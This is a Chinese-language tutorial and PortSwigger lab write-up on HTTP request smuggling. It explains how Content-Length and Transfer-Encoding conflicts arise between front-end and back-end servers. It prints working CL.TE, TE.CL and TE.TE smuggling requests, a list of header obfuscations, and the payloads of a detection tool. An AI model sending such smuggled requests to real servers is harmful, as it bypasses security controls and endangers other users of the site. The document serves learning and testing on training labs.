声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！

HTTP请求走私

在这一章节，我们将解释HTTP请求走私攻击并描述请求走私漏洞有多常见。

下面是portswigger上关于HTTP请求走私的靶场地址：
https://portswigger.net/web-security/all-labs#http-request-smuggling

什么是HTTP请求走私?

HTTP请求走私是一种干扰网站处理从一个或多个用户接收到的HTTP请求序列的技术。请求走私漏洞允许攻击者绕过安全控制，未经授权访问敏感数据的，并直接危及其他应用程序用户。

请求走私主要与HTTP/1请求有关，但支持HTTP/2的网站也可能有漏洞，这取决于他们的后端架构。

为什么会出现请求走私

现代网站经常部署多个代理服务器用于转发用户请求到托管Web应用程序的真实服务器。这些带有真实后端的前端服务器或代理服务器是云应用中最常见的架构。

前端服务器用于获取多个用户的请求并转发给后端服务器。这两个前后端服务器必须在两个不同用户的请求边界上达成一致。有时候，两者服务器不能在边界上达成一致，攻击者便能够通过利用处理不一致来修改HTTP请求，造成HTTP请求走私。

当前后端服务器对用户请求边界不一致时，就会出现HTTP请求走私。

在HTTP请求走私攻击中会发生什么?

今天的web应用程序经常在用户和最终应用程序逻辑之间使用HTTP服务器链。用户将请求发送到前端服务器(有时称为负载平衡器或反向代理)，该服务器将请求转发到一个或多个后端服务器。在现代基于云的应用程序中，这种类型的体系结构越来越普遍，在某些情况下是不可避免的。

当前端服务器将HTTP请求转发给后端服务器时，它通常会通过相同的后端网络连接发送多个请求，因为这样效率和性能更高。协议非常简单;HTTP请求一个接一个地发送，接收服务器必须确定一个请求在哪里结束，下一个请求在哪里开始:

在这种情况下，前端和后端系统就请求之间的边界达成一致是至关重要的。否则，攻击者可能会发送一个模棱两可的请求，前端和后端系统会对其进行不同的解释:

在这里，攻击者导致后端服务器将其前端请求的一部分解释为下一个请求的开始。它被有效地添加到下一个请求中，因此可能会干扰应用程序处理该请求的方式。这是一种请求走私攻击，它会造成毁灭性的后果。

HTTP请求走私是怎么产生的?

大多数HTTP请求走私漏洞的出现是因为HTTP/1规范提供了两种不同的方式来指定请求的结束位置:Content-Length报头和Transfer-Encoding报头。

Content-Length报头很简单:它以字节为单位指定消息体的长度。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

传输编码头可用于指定消息体使用分块编码。这意味着消息体包含一个或多个数据块。每个块由以字节为单位的块大小(以十六进制表示)，后跟一个换行符，然后是块内容。消息以大小为0的块终止。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

这里的b是16进制，即11。

由于HTTP/1规范提供了两种不同的方法来指定HTTP消息的长度，因此单个消息可能同时使用这两种方法，这样它们就会相互冲突。规范试图通过声明如果同时存在Content-Length和Transfer-Encoding头，则应该忽略Content-Length头来防止这个问题。当只有一个服务器在运行时，这可能足以避免歧义，但当两个或更多服务器链接在一起时，这就不够了。在这种情况下，出现问题可能有两个原因:

• 有些服务器不支持请求中的传输编码头。
• 如果以某种方式混淆了头，可以诱导一些支持Transfer-Encoding头的服务器不处理它。

如果前端和后端服务器对Transfer-Encoding报头(可能是混淆的)的行为不同，那么它们可能对连续请求之间的边界不一致，从而导致请求走私漏洞。

如何执行HTTP请求走私攻击

经典的请求偷袭攻击包括将Content-Length报头和Transfer-Encoding报头放在单个HTTP/1请求中，并对它们进行操作，以便前端和后端服务器以不同的方式处理请求。具体的实现方式取决于两个服务器的行为:

CL.TE
前端服务器使用Content-Length头，后端服务器使用Transfer-Encoding头

TE.CL
前端服务器使用Transfer-Encoding标头，后端服务器使用Content-Length标头

TE.TE
前端和后端服务器都支持Transfer-Encoding标头，但是可以通过以某种方式模糊标头来诱导其中一个服务器不处理它

CL.TE vulnerabilities

前端服务器使用Content-Length长度头，后端服务器使用Transfer-Encoding，我们可以执行简单的HTTP请求走私攻击。
示例：

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端服务器处理Content-Length标头并确定请求正文的长度为13个字节，直到SMUGGLED结束，这个请求被转发到后端服务器。

后端服务器处理Transfer-Encoding头，因此将邮件正文视为使用分块编码，它处理第一个块，该块被声明为零长度，因此被视为终止请求，而后面的字节(走私的)未被处理，后端服务器将把这些视为序列中下一个请求的开始。

lab01
地址：https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

本实验涉及前端和后端服务器，前端服务器不支持分块编码。前端服务器拒绝未使用GET或POST方法的请求。
要解决这个问题，可以将一个请求偷运到后端服务器，以便后端服务器处理的下一个请求看起来使用GPOST方法。

开启实验

抓取请求包，将HTTP/2改为HTTP/1.1

POST / HTTP/1.1
Host: 0a76003c04fad9e38052496700880000.web-security-academy.net
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

第一次请求正常

第二次请求

可以看到后端服务器将G作为下一个请求包的请求头的一部分，存在HTTP请求走私。
随后刷新页面成功完成解题。

TE.CL vulnerabilities

前端服务器使用Transfer-Encoding头，后端服务器使用Content-Length头，我们可以执行简单的HTTP请求走私攻击，如下所示：

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

注意：这种发送方式需要关闭burp上的自动计算长度

并且需要在0的后面添加 rnrn

前端服务器处理Transfer-Encoding头，因此以分块编码方式处理消息体。根据Transfer-Encoding，它处理8个字节长的第一个块。它处理第二个块，该块被声明为零长度，因此被视为终止请求。这个请求被转发到后端服务器。

后端服务器处理Content-Length头，确定请求正文长度为3字节，也就是到8之后的行开始（说的是8rn，3字节）。以SMUGGLED开始的剩下的字节未被处理，后端服务器将把他们作为下一个请求序列的开头。

lab02
https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
规则和lab01一样，让后端接收到使用GPOST方法的请求。

第一次请求正常，注意是http1.1 ，burp插件可能给你改成http2，自己再改回来

第二次请求

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

TE.TE behavior: obfuscating the TE header

前端服务器和后端服务器都支持Transfer-Encoding头，但是可以通过以某种方式混淆报头来诱导其中一个服务器不处理它。
可能有无数种方法可以混淆Transfer-Encoding头。
举例

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都涉及到与HTTP规范的微妙背离。实现协议规范的真实代码很少会绝对精确地遵守协议规范，而且不同的实现通常会容忍规范的不同变化。
在TE漏洞中，有必要找到Transfer-Encoding头的一些变体，以便只有一个前端或后端服务器处理它，而另一个服务器忽略它。

lab03
https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header

仍然是GPOST

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

本实验就是结合上面的理论而构造的，在现实世界中可能或多或少也会有此类情况，但是少。

HTTP请求走私工具

burpsuite 插件 HTTP Request Smuggler

可在商店下载

选择chunk

在最后一行加上aa

python工具

https://github.com/anshumanpattnaik/http-request-smuggling

• python3

git clone https://github.com/anshumanpattnaik/http-request-smuggling.git
cd http-request-smuggling
pip3 install -r requirements.txt

usage: smuggle.py [-h] [-u URL] [-urls URLS] [-t TIMEOUT] [-m METHOD]
                    [-r RETRY]

HTTP Request Smuggling vulnerability detection tool

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     set the target url
  -urls URLS, --urls URLS
                        set list of target urls, i.e (urls.txt)
  -t TIMEOUT, --timeout TIMEOUT
                        set socket timeout, default - 10
  -m METHOD, --method METHOD
                        set HTTP Methods, i.e (GET or POST), default - POST
  -r RETRY, --retry RETRY
                        set the retry count to re-execute the payload, default
                        - 2

如果您觉得检测有效载荷需要更改以使其更准确，则可以更新检测数组文件 payloads.json 中的有效载荷。

"detection": [
    {
        "type": "CL.TE",
        "payload": "rn1rnZrnQrnrn",
        "content_length": 5
    },
    {
        "type": "TE.CL",
        "payload": "rn0rnrnrnG",
        "content_length": 6
    }
]

yakit官方插件

参考链接

• http2 请求走私上 https://mp.weixin.qq.com/s/UqwI73hHp4kNtBMmSgL9hA
• http2 请求走私下 https://mp.weixin.qq.com/s/vCExr_Q8vJMePFZqLAuO0w
• 请求走私利用实践(上) https://mp.weixin.qq.com/s/M1AzUxXpyrzYK-mv4_1t4g
• 请求走私利用实践一篇通 https://xz.aliyun.com/t/13226
• https://portswigger.net/web-security/request-smuggling/
• 利用Burp插件挖掘HTTP请求走私 https://xz.aliyun.com/t/9859

 

原文始发于微信公众号（进击的HACK）：HTTP请求走私（内含portswigger靶场即工具）